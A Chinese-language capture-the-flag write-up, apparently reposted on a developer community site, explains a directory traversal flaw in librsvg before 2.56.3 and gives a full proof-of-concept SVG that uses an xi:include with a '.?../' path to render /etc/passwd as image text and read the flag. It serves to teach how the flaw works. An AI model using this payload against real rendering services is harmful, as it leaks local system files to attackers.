靶场介绍:

一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=".?../../../../../../../../../../etc/passwd" 来读取结果。

 

 解题步骤:

首先根据这个元素可以查一下这是什么

用于合并XML文档的通用机制,通过在“主”文档中编写包含标记来自动包含其他文档或其他部分。生成的文档成为单个复合XML信息集。XInclude机制可用于合并XML文件或非XML文本文件中的内容。是xml标记语言中包含其他文件的方式

<html  xmlns = "http://www.w3.org/1999/xhtml"
      xmlns:xi ="http://www.w3.org/2003/XInclude"> 

这里注意到第一个属性,这个属性中的URL引用可以用来模糊查询文件

.?../../../../../../../../etc/passwd

这里可以模糊查询passwd文件,查看是否可以正确回显,同时可以看出这是利用xxe漏洞 ,为了把返回的内容显示出来,我们可以用svg库来让返回值以图片的形式返回

SVG

   libRSVG 是一个用于在各种平台上渲染矢量图形的库。它通常与 C++ 或 Python 等语言一起使用,并支持流行的矢量格式,如 SVG(可缩放矢量图形)和 PS(PostScript)。

   可缩放矢量图形(SVG)是一种基于XML的标记语言,用于描述二维矢量图形。与传统的像素图像不同,SVG图像在放大时不会失真,这使得它非常适合用于网页图形设计。

   SVG图像可以直接嵌入HTML文档中,成为DOM的一部分,这样就可以使用JavaScript和CSS来操作它们。所以我们把svg添加到我们构造的poc,创造一个.svg文件,包含我们需要跳转的文件

<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">  
   <rect width="600" height="600" style="fill:rgb(255,255,255);" />  
   <text x="10" y="100">  
     <xi:include href=".?../../../../../../../../etc/passwd" parse="text"   
encoding="UTF-8">  
       <xi:fallback>file not found</xi:fallback>  
     </xi:include>  
   </text>  
</svg>

 这里主要是一个svg图像文件,通过xi:include把文件包含进去,注意图片要大一些,不然信息回显不完整

 回显成功,读取flag

Logo

海思 HiSpark 开发者社区是上海海思为开发者搭建的内容和交流平台,依托完备芯片解决方案、专业开发环境、开源/开放的软件资源与社区技术内容,构建完整服务生态开发者的闭环体系。

更多推荐